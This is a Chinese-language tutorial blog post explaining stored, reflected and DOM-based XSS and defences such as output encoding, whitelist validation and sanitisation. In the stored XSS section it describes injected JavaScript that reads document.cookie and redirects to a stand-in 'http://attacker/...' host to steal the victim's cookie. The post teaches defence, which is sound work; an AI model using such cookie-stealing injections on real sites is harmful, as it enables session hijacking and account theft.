前端安全 - XSS

前端的安全攻击主要有4种类型:XSS, CSRF,SQL Injection,Client-state manipulation。

前端安全攻击分类.png

限于内容太多,我会写一个系列。这篇为该系列的第一篇:XSS。

接下来的内容主要包括4方面:

  • 什么是XSS
  • XSS的分类
  • 每一类XSS的手法
  • 应对XSS的办法

话不多说,我们现在就进入正题。

什么是XSS

一句话解释XSS就是:攻击者通过代码注入(code injection)的方式,恶意篡改受害者所访问的网站内容;把受害者引导到恶意网站;窃取受害者cookie从未假冒受害者身份等的一种前端安全攻击技术。

XSS的分类

大家可能从上面的解释里面也看出来了,受害者可能会遭遇到不同类型的攻击;同样的XSS的攻击手法也是“丰富多彩”,现在就让我们来看一下XSS都有哪些经典的手法:

前端安全 - XSS_第1张图片
XSS的分类

其中Stored XSS也叫做persistent XSS,它是一种持久性的XSS。Reflected XSS也叫做non-persistent XSS,非持久性XSS。

持久性的XSS是什么意思?为什么Stored XSS是持久性的,而Reflected XSS是非持久性的?

接下来我们通过展示以上三类不同的XSS的攻击手法,来回答上面的问题。

Stored XSS

话说“一图胜千言”, 我们先看一下Stored XSS的过程:

Stored XSS的过程

为了便于大家理解,我们假定被攻击的网站名字叫:abc。
受害者的名字叫:lancer

step1: 攻击者访问网站abc,提交了一个包含恶意代码的评论数据。网站abc处理这个post请求,把这个评论存进数据库。

step2: 一个无辜的用户(也就是我们的被害者lancer)访问网站abc,到了有评论的页面,所以发起了一个对评论的GET请求。

step3: 网站abc接收到lancer的请求,于是从数据库取出评论放到html页面里,把这个包含评论的页面返回给lancer的浏览器。lancer的浏览器接收到返回的页面,开始解析代码。只是,不幸的是,这条评论不是一般的text,而是一段js代码。

step4: 我们现在来耐心地分析一下这段js代码做了什么事情:

  • 通过document.cookie读取了lancer的cookie(cookie里面包含lancer的用户信息)
  • 通过window.location="http://attacker/..." 跳转到攻击者自己的网站

于是,攻击者通过这种手段,窃取了被害者的cookie。

Stored XSS的危害性在于:

  • 攻击范围广:只要访问评论页面的用户都会受害
  • 持续性:因为这段有害的代码被存入了数据库

所以,看到这里,也就解答了我们开篇的问题:为什么说Stored XSS是持续性的。

Reflected XSS

Reflected XSS于Stored XSS有相似之处,但是最大的不同在于通过Reflected XSS所收到的恶意代码,不会被网站abc存入数据库。

Reflected XSS还有一个特点,受害者是特定的。而Stored XSS的受害者不是特定的,因为凡是访问含有恶意代码的页面,都会收到伤害,攻击者并并不知道哪些人会去访问这个页面。

我们也还是先来看图解:


Reflected-XSS的过程

step1:攻击者通过邮件,短信等方式给选定的受害者们发送含有恶意代码的网站链接。诱使受害者点击这条链接。比如,受害者之一的lancer就在某一天收到了这封邮件。

step2:lancer点击了这条恶意链接,向网站abc发起了一条GET请求。

step3:被攻击的网站abc收到了lancer的请求,从url query里面取出keyword写入到页面,向lancer返回页面代码。lancer的浏览器接收到返回的页面,开始解析代码。只是,依然不幸的是,这条评论不是一般的text,而是一段js代码。

step4:和Stored XSS一样,恶意代码被执行,攻击者获取到了lancer的cookie。

对比一下Store XSS,Reflected XSS与之最大的差别是:

  • 被害者是特定的。
  • 恶意代码不会被存入数据库

Dom-based XSS

Dom-based XSS具备Stored XSS或者Reflected XSS的特征,但是在此之上,又衍生出一些差别。我们现在来看一个具备Reflected XSS特征的Dom-based XSS的图解过程来了解一下Dom-based XSS的特点:


Reflected XSS型的Dom-based XSS

step1:攻击者通过邮件,短信等方式给选定的受害者们发送含有恶意代码的网站链接。诱使受害者点击这条链接。比如,受害者之一的lancer就在某一天收到了这封邮件。

step2:lancer点击了这条恶意链接,向网站abc发起了一条GET请求。

step3:被攻击的网站abc收到了lancer的请求,从url query里面取出keyword。与reflected xss不同的是,这里不是直接把keyword展示在页面上。而是作为H3的innerHtml。代码组装完毕,向lancer的浏览器返回response代码。

step4:lancer的浏览器接收到abc返回的代码,开始解析代码。与reflect xss不同的是,在这一步会先执行我们无害的javaScript代码,也就是



这段代码本身不具备攻击型,但是因为我们把keyword(取出来是一段恶意JavaScript代码)作为H3的innerHTML,所以这段恶意代码会被执行。所以才造成了网站abc会受到攻击。

step5:恶意代码被执行,加入这段恶意代码包含的是窃取用户的cookie,那么就会和前面的xss一样,用户存在cookie里面的敏感信息被发送到了攻击者的服务器。

那么,Dom-based XSS它的特殊危害性是?
  • 它对server是不可见的。对比Stored XSS和Reflected XSS,恶意代码的内容在server端组装的时候,不可见。因为不可见,那么我们就不能在server端对它做一定的处理(后面我们会讲到怎样在server端处理XSS)。这样,就把我们的恶意代码推到客户端(也就是用户的浏览器)去了。

Ok,以上就是对三种XSS的介绍。相信大家已经对他们的特性和工作原理有了一定的了解。接下来,就进入到今天这篇文章的核心:怎样应对XSS。

应对XSS的办法

应对XSS的方法概览
应对XSS的办法 - How

基本说来,处理XSS的办法主要有2种:

  • Encoding(编码):把可运行的恶意代码编码成不可运行的单纯的数据。
  • Validation(验证):过滤出恶意代码,随后可以对其直接抛弃,或者处理成飞恶意代码(消毒)。
应对XSS的办法 - What

但是,到底该采取哪种手法,依赖于不同的上下文。请看上图的第二列(what的这一列)。一般来说,一个数据(比如用户输入的数据)可能会被用到4种情况:

  • 1 元素内容:
    {userInput}
  • 2 元素的属性:
  • 3 URL的query:http://abc.com/xxx?search={userInput}
  • 4 CSS值:color: {userInput}
应对XSS的办法 - When

假如我们收到用户提交的数据,是否在存入数据库,甚至是前端拿到用户的数据在往server提交之前,就应该对恶意代码进行处理呢?

但是事实是,通常不会也不能这么做。因为,就如我们在上面讲到,用户提交的数据可能会被使用到不同的场景,不同的场景不同的处理方式是不一样;甚至,同一个数据,可能会在不同的场景下使用。所以,在拿到数据之后就处理,不应该是我们主要处理数据的时机。

相反的,在把数据render到HTML的时候,对数据进行处理,应该是我们主要的处理时机。

应对XSS的办法 - Where

前面我们讲到XSS类型的时候,我们说到对于Stored XSS和Reflected XSS来说,恶意代码是对server端可见的,这就意味着我们可以在server端处理XSS;但是DOM-based XSS是对server端不可见的,所以我们得在客户端处理XSS。所以,综合下来,我们既需要在server端也需要在客户端处理XSS。

在server端,当然是使用在server端使用的语言对XSS进行处理;在客户端,通常就是JavaScript。

前端安全 - XSS_第2张图片
在哪里处理XSS
应对XSS的具体手法 - server端Encoding(编码)
前端安全 - XSS_第3张图片
server端编码

Encoding(编码),就是把可运行的代码(code)编码成不可运行的单纯的数据。例如,假如我们收到一段用户提交的js代码:


我们可以通过编码规则,把"<" ">"编码。经编码之后,上面的代码,就不再是一段可执行的代码,而只是text。例如,下图列了一些html的编码:

前端安全 - XSS_第4张图片
一些HTML编码参考
应对XSS的具体手法 - client端Encoding(编码)
前端安全 - XSS_第5张图片
客户端编码

客户端的编码,主要依赖于JavaScript提供的API。如上图所示,则是我们应对4种不同的情况下的编码手法。

对于,一些具体的情况,比如一个输入用户名的input,因为我们知道对于一个用户名的input,我们只能接受字母,数字,下划线。那么,类似于这种情况,我们就可以对用户的输入进行validation(验证)。

应对XSS的具体手法 - validation(验证)

验证,就是对我们接收到的数据进行过滤,过滤出恶意代码,得到合法代码。如下图所示:


前端安全 - XSS_第6张图片
应对XSS - valiadtion(验证)

具体到执行验证之前,我们需要考虑2点:

  • 分类策略:是采用黑名单还是白名单来做验证
  • 验证结果的处理:过滤出来的恶意代码,是直接抛弃,还是处理成合法代码


    前端安全 - XSS_第7张图片
    验证前需要考虑的事项

验证的分类策略 - 黑名单

黑名单,即列举了恶意代码类型的名单。如果数据在黑名单里面,则被判定为非法代码;否则为合法代码。

黑名单有着一些缺陷。因为现实是复杂的,攻击者的手法是千奇百怪的,要创建一个包含所有可能的恶意代码的黑名单,往往是困难,甚至是不能的。

再者,世界是变化的,XSS的手法也是日新月异的。某天,一种不曾包含在黑名单里面的新的XSS出现了,那这份黑名单就不能有效地抵御这次攻击。

黑名单的缺陷

验证的分类策略 - 白名单

与黑名单相反,白名单是包含了合法代码的名单。通常来说,合法的情况是可以穷尽的,比如一个输入用户名的input,我就只接受字母,数字,下划线这三种类型的字符。

白名单的有效性也是长的。因为不论是否有新的XSS产生,但是对于我的业务来说,我所接受的数据类型没有变化,我依然只会取出符合我白名单规则的数据。

前端安全 - XSS_第8张图片
白名单的优势

所以,当我们选择验证策略的时候,要尽量地选用白名单

验证结果处理 - 舍弃

当我们检测出用户的输入里面包含恶意代码的时候,直接舍弃掉这一条数据,这条数据不会出现在网站的任何地方,即叫做舍弃

例如,有一个需要用户输入信用卡号码的input,用户不仅输入了数字,还输入了连接线(用户出于习惯)。我们直接舍弃这条数据,把这条数据判定为不合法。当然,相应地,你会给用户返回一个错误提醒。

验证结果处理 - 消毒

当我们检测出用户的输入里面包含恶意代码的时候,经过一定的处理方式,去掉恶意的部分,留下合法的代码,即叫做消毒

还是用户输入信用卡号码的例子。对比舍弃的做法,消毒的做法是允许用户输入连接线,只是我们拿到数据之后,把连接线给去掉,最后得到只包含数字的信用卡号码。

你可能感兴趣的:(前端安全 - XSS)